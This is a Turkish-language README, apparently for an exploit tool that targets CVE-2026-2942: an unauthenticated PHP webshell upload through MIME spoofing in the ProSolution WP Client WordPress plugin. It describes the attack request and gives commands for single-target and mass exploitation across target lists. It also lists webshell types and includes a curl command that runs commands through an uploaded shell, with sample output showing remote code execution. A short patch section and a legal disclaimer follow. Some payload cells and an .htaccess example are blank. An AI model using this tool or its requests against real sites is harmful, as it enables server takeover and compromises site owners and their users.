Share
## https://sploitus.com/exploit?id=B950AB70-0ACA-535A-AAC2-AC09E39F8307
# CVE-2026-2942
# ProSolution WP Client — Unauthenticated File Upload Scanner

> **CVE Reference:** ProSolution WP Client Plugin — Arbitrary PHP File Upload via MIME Spoofing  
> **Risk Seviyesi:** 🔴 Kritik  
> **Etkilenen:** ProSolution WP Client WordPress Eklentisi

---

## 📌 Zafiyet Hakkında

ProSolution WP Client eklentisinin `proSol_fileUploadProcess` AJAX action'ı, yüklenen dosyaların **MIME tipini kontrol eder ancak uzantıyı doğrulamaz.**  
Bu sayede saldırgan `.php` uzantılı bir dosyayı `image/jpeg` MIME tipiyle göndererek sunucuya **webshell yükleyebilir.**

### Saldırı Zinciri

```
1. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   files[]=shell.php (MIME: image/jpeg)
          │
          ▼
2. Sunucu MIME tipini kabul eder, uzantıyı kontrol etmez
          │
          ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
          │
          ▼
4. Saldırgan shell URL'sine erişir → RCE
```

---

## 🛠️ Kurulum

```bash
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
```

### Gereksinimler

```txt
requests
```

---

## 🚀 Kullanım

### Tekil Hedef

```bash
python prosol_upload.py -u http://hedef.com
```

### Shell Doğrulama ile

```bash
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
```

### Toplu Tarama

```bash
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
```

### Proxy ile (Burp Suite)

```bash
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
```

### Özel Shell Tipi

```bash
python prosol_upload.py -u http://hedef.com --shell-type full
```

---

## ⚙️ Parametreler

| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `uploaded.txt` |
| `--shell-name` | — | Yüklenecek dosya adı | `shell.php` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify` | — | Yükleme sonrası RCE testi | `False` |
| `--verify-cmd` | — | Doğrulama komutu | `id` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |

---

## 💀 Shell Tipleri

| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı shell |

---

## 📂 Shell Yükleme Konumu

```
WordPress Kök/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell burada
```

Yükleme sonrası erişim:

```bash
curl "http://hedef.com/wp-content/uploads/prosolwpclient/[dosya].php?cmd=id"
# uid=33(www-data) gid=33(www-data)
```

---

## 📊 Çıktı Durumları

| Durum | Açıklama |
|---|---|
| `★ UPLOADED` | Shell başarıyla yüklendi |
| `✓ RCE OK` | Shell doğrulandı, komut çalıştı |
| `- BLOCKED` | Sunucu PHP uzantısını engelledi |
| `~ TIMEOUT` | Bağlantı zaman aşımı |
| `~ CONN_ERR` | Bağlantı hatası |
| `! HTTP_ERR` | HTTP hata kodu |

---

## 🖥️ Örnek Çıktı

```
[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/66c87e2bbe.php
  Yeni Ad   : 66c87e2bbe.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
```

---

## 🛡️ Savunma / Yama

Etkilenen sistemleri korumak için:

- ✅ `uploads/` dizininde PHP çalıştırmayı `.htaccess` ile engelleyin:
  ```apache
  
      Deny from all
  
  ```
- ✅ Eklentiyi güncel tutun veya kaldırın
- ✅ Dosya yükleme işlemlerinde **uzantı whitelist** uygulayın
- ✅ Sunucu tarafında MIME tipi doğrulaması yapın (`finfo_file()`)
- ✅ WAF kurallarına `.php` yükleme engeli ekleyin

---

## ⚠️ Yasal Uyarı

> Bu araç yalnızca **yetkili sistemlerde**, **etik hacking** ve **penetrasyon testi** kapsamında kullanılmak üzere geliştirilmiştir.  
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri** ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**  
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki sorumluluk kabul etmez.

---

## 📄 Lisans

MIT License — Yalnızca eğitim ve araştırma amaçlıdır.